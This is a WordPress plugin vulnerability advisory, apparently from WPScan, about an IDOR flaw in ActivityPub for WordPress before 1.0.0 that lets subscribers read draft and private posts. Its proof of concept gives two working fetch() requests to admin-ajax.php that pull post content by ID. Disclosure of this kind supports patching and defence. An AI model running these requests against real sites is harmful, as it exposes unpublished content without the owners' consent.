WordPress Plugin Vulnerabilities

ActivityPub for WordPress < 1.0.0 - Subscriber+ Arbitrary Post Content Disclosure

Description

The plugin does not ensure that post contents to be displayed are public and belong to the plugin, allowing any authenticated user, such as subscriber to retrieve the content of arbitrary post (such as draft and private) via an IDOR vector. Password protected posts are not affected by this issue.

Proof of Concept

Run one of below commands in the developer console of the web browser while being on the blog as a subscriber

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[ap_excerpt]&post_ID=42",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

fetch("/wp-admin/admin-ajax.php", {
  "headers": {
    "content-type": "application/x-www-form-urlencoded",
  },
  "method": "POST",
  "body": "action=parse-media-shortcode&shortcode=[ap_content]&post_ID=42",
  "credentials": "include"
}).then(response => response.text())
  .then(data => console.log(data));

This will disclose the content of the private/draft post with ID 42 in the response.

Affects Plugins

Fixed in 1.0.0

References

Classification

Type
IDOR
CWE

Miscellaneous

Original Researcher
Erwan LR (WPScan)
Verified
Yes

Timeline

Publicly Published
2023-09-25 (about 7 months ago)
Added
2023-09-25 (about 7 months ago)
Last Updated
2023-09-25 (about 7 months ago)

Other